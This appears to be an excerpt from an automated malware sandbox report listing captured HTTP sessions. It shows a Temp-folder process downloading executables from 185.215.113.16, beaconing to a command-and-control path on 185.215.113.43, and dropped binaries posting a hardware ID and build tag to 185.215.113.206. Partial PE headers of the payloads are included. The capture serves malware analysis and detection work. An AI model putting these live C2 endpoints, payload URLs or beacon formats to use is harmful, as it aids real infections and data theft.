Oct 31, 2024 05:07:30.667205095 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:07:30.667347908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:07:30.667360067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:07:30.667371988 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:07:30.667522907 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:07:30.667535067 CET	1236	IN	Data Raw: f8 11 9a 85 4f c1 f4 a0 11 dc f9 e6 e6 80 f3 c2 6c 9e 17 75 33 95 51 82 61 b5 4b 74 e1 a1 0e 91 4c 76 d9 c6 10 a2 0d 86 f1 1c 0f cb 4b d2 ff 18 05 06 fe 6f 1c e1 16 a3 4f bf 6a 3a 15 a9 05 e7 5f 0c f9 b2 4d d9 0c 05 ac aa 06 2e e7 10 14 d7 d0 0e Data Ascii: Olu3QaKtLvKoOj:_M.Ej*nuu4KTXr+6SXbq0B]O1@]I@ivYJB{_WI/kuE:yDI=fprkK5
Oct 31, 2024 05:07:30.672064066 CET	1236	IN	Data Raw: c0 3c 30 26 5a d5 29 cb 93 56 33 44 3b 95 eb 6a 63 83 d7 b8 18 4e d7 63 0a f3 7e 63 b9 0d ee 83 73 d6 f7 85 79 cd cb e0 1a 86 83 e3 39 e6 d7 54 7b f0 c7 36 2c 65 8d ed 81 cd ca 92 f0 e5 f6 f3 6b e4 96 ae 90 60 fe a4 17 34 0c 83 24 2c d7 ba 5d 9a Data Ascii: <0&Z)V3D;jcNc~csy9T{6,ek`4$,]MXo}J$Eq`sZ M\GRFsE$g+bR#RWyj[Iqxvef)zg+gMRy!17a&
Oct 31, 2024 05:07:40.377721071 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 05:07:40.658255100 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:40 GMT Content-Type: application/octet-stream Content-Length: 1904640 Last-Modified: Thu, 31 Oct 2024 04:05:08 GMT Connection: keep-alive ETag: "672301f4-1d1000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf K@PK]@WkTJJ @.rsrc@.idata @ `*@axzfwsyi1@hvubbrkgK@.taggant0 K"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49959	185.215.113.43	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:32.281771898 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 38 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002786001&unit=246122658369
Oct 31, 2024 05:07:33.197655916 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49965	185.215.113.16	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:33.209168911 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 05:07:34.115763903 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:33 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Oct 31, 2024 05:07:34.115791082 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj0rmE
Oct 31, 2024 05:07:34.115825891 CET	224	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 fb 95 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 0e 3f 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 2d 96 01 00 8d 8d f8 fb ff ff e8 f2 98 01 00 50 Data Ascii: QREPQ?-PqmPEjjRAM]UQMM\|MHM<M
Oct 31, 2024 05:07:34.115838051 CET	1236	IN	Data Raw: 30 e8 8d 95 01 00 8b 4d fc e8 e5 00 00 00 8b e5 5d c3 cc 55 8b ec 51 89 4d fc 8b 45 08 50 8b 4d fc e8 0d 01 00 00 8b 4d 08 83 c1 30 51 8b 4d fc 83 c1 30 e8 fb 94 01 00 8b 55 08 83 c2 3c 52 8b 4d fc 83 c1 3c e8 e9 94 01 00 8b 45 08 83 c0 48 50 8b Data Ascii: 0M]UQMEPMM0QM0U<RM<EHPMHMUBTATMUBXAXMUB\A\MUB`A`MUBdAdMUBhAhMUBlAlMUBpApMUBtAtMUBxAxM\|QM\|ME]
Oct 31, 2024 05:07:34.115864992 CET	1236	IN	Data Raw: c8 e8 69 92 01 00 8b c8 e8 d2 91 01 00 8b c8 e8 5b 92 01 00 8b c8 e8 54 92 01 00 8b c8 e8 4d 92 01 00 8b c8 e8 b6 91 01 00 50 8d 8d 94 fe ff ff e8 2a 91 01 00 8d 8d 6c fd ff ff e8 7f 90 01 00 8d 8d 78 fd ff ff e8 74 90 01 00 8d 8d 84 fd ff ff e8 Data Ascii: i[TMP*lxti^SH=R0Ph\|WB<QURHPhVBTQUR`PPi
Oct 31, 2024 05:07:34.115873098 CET	1236	IN	Data Raw: 45 fc 6b c0 2c 03 85 90 00 00 00 83 ec 0c 8b cc 50 e8 75 8b 01 00 8b 4d fc 6b c9 2c 8b 95 90 00 00 00 8b 44 0a 0c 50 8b 4d fc 6b c9 2c 8b 95 90 00 00 00 8d 44 0a 10 83 ec 0c 8b cc 50 e8 49 8b 01 00 e8 a4 f7 ff ff 81 c4 b4 00 00 00 e9 58 ff ff ff Data Ascii: Ek,PuMk,DPMk,DPIXURM]UEsmsmUsmPsmAsmBsm]U}t#E8tMQ;U\|EEH
Oct 31, 2024 05:07:34.115891933 CET	336	IN	Data Raw: 83 c4 0c a3 3c 6d 6d 00 6a 0b 68 00 1e 42 00 68 0c 1e 42 00 e8 fe 21 00 00 83 c4 0c a3 a0 6f 6d 00 6a 0d 68 18 1e 42 00 68 28 1e 42 00 e8 e5 21 00 00 83 c4 0c a3 48 6f 6d 00 6a 0c 68 38 1e 42 00 68 48 1e 42 00 e8 cc 21 00 00 83 c4 0c a3 bc 6d 6d Data Ascii: <mmjhBhB!omjhBh(B!Homjh8BhHB!mmjhXBhdB!lmjhpBhB!pmjhBhB!jmjhBhBh!omjhBhBO!$lmjhBhB6!nmjhBh
Oct 31, 2024 05:07:34.115895987 CET	1236	IN	Data Raw: a8 1f 42 00 68 b8 1f 42 00 e8 b9 20 00 00 83 c4 0c a3 50 6f 6d 00 6a 09 68 c8 1f 42 00 68 d4 1f 42 00 e8 a0 20 00 00 83 c4 0c a3 7c 6b 6d 00 6a 0a 68 e0 1f 42 00 68 ec 1f 42 00 e8 87 20 00 00 83 c4 0c a3 04 6b 6d 00 6a 0b 68 f8 1f 42 00 68 04 20 Data Ascii: BhB PomjhBhB \|kmjhBhB kmjhBh Bn kmjh Bh BU (mmjh( Bh8 B< nmjhH BhT B# $nmjh` Bhp B kmjh Bh Bmmjh Bh B
Oct 31, 2024 05:07:34.115904093 CET	1236	IN	Data Raw: 42 00 e8 ec 1b 00 00 83 c4 0c a3 f8 6e 6d 00 6a 0b 68 b8 24 42 00 68 c4 24 42 00 e8 d3 1b 00 00 83 c4 0c a3 b8 6a 6d 00 6a 0d 68 d0 24 42 00 68 e0 24 42 00 e8 ba 1b 00 00 83 c4 0c a3 dc 6e 6d 00 6a 09 68 f0 24 42 00 68 fc 24 42 00 e8 a1 1b 00 00 Data Ascii: Bnmjh$Bh$Bjmjh$Bh$Bnmjh$Bh$B<kmjh%Bh%BLlmjh %Bh8%BoomjhP%Bh\%BVkmjhh%Bhx%B=nmjh%Bh%B$(pmjh%Bh%BLnmjh
Oct 31, 2024 05:07:34.115921021 CET	1236	IN	Data Raw: e8 6f 6d 00 6a 10 68 10 2b 42 00 68 24 2b 42 00 e8 0a 17 00 00 83 c4 0c a3 2c 6e 6d 00 6a 1a 68 38 2b 42 00 68 54 2b 42 00 e8 f1 16 00 00 83 c4 0c a3 64 6e 6d 00 6a 1c 68 70 2b 42 00 68 90 2b 42 00 e8 d8 16 00 00 83 c4 0c a3 60 6b 6d 00 6a 0d 68 Data Ascii: omjh+Bh$+B,nmjh8+BhT+Bdnmjhp+Bh+B`kmjh+Bh+Bkmjh+Bh+Bmmjh+Bh,Bomjh ,Bh<,BtTnmjhX,Bhh,B[@mmjhx,Bh,BBomjh,Bh,B)
Oct 31, 2024 05:07:34.120780945 CET	1236	IN	Data Raw: 68 0c 32 42 00 e8 41 12 00 00 83 c4 0c a3 9c 6f 6d 00 6a 0d 68 20 32 42 00 68 30 32 42 00 e8 28 12 00 00 83 c4 0c a3 ec 6a 6d 00 6a 04 68 40 32 42 00 68 48 32 42 00 e8 0f 12 00 00 83 c4 0c a3 b4 6a 6d 00 6a 17 68 50 32 42 00 68 68 32 42 00 e8 f6 Data Ascii: h2BAomjh 2Bh02B(jmjh@2BhH2BjmjhP2Bhh2Bxomjh2Bh2Blmjh2Bh2B omjh2Bh2Bkmjh2Bh2Bkmjh3Bh3By pmjh03Bh@3B`mm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50001	185.215.113.206	80	5688	C:\Users\user\AppData\Local\Temp\1002787001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:38.462697029 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 05:07:39.361074924 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 05:07:39.384723902 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCB Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 2d 2d 0d 0a Data Ascii: ------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="hwid"186BC8B60C81107340409------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="build"tale------AAKKKEBFCGDBGDGCFHCB--
Oct 31, 2024 05:07:39.668268919 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=
Oct 31, 2024 05:07:39.911505938 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50009	185.215.113.43	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:40.060655117 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002787001&unit=246122658369
Oct 31, 2024 05:07:40.973073959 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50027	185.215.113.43	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:42.855902910 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 05:07:43.622059107 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50043	185.215.113.43	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:45.139128923 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 05:07:46.045303106 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50048	185.215.113.206	80	7132	C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:45.807218075 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 05:07:46.706935883 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 05:07:46.710870981 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAK Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 2d 2d 0d 0a Data Ascii: ------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="hwid"186BC8B60C81107340409------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="build"tale------JEBGIIDBKEBFBGCAEBAK--
Oct 31, 2024 05:07:46.995518923 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50051	185.215.113.43	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:47.709868908 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 05:07:48.622610092 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50053	185.215.113.43	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:50.738409042 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 05:07:51.658642054 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50054	185.215.113.43	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:53.324889898 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 05:07:54.242326975 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50055	185.215.113.206	80	1516	C:\Users\user\AppData\Local\Temp\1002787001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:53.455841064 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 05:07:54.362139940 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 05:07:54.364927053 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAFCAKEHDHDHIDHDGDH Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 2d 2d 0d 0a Data Ascii: 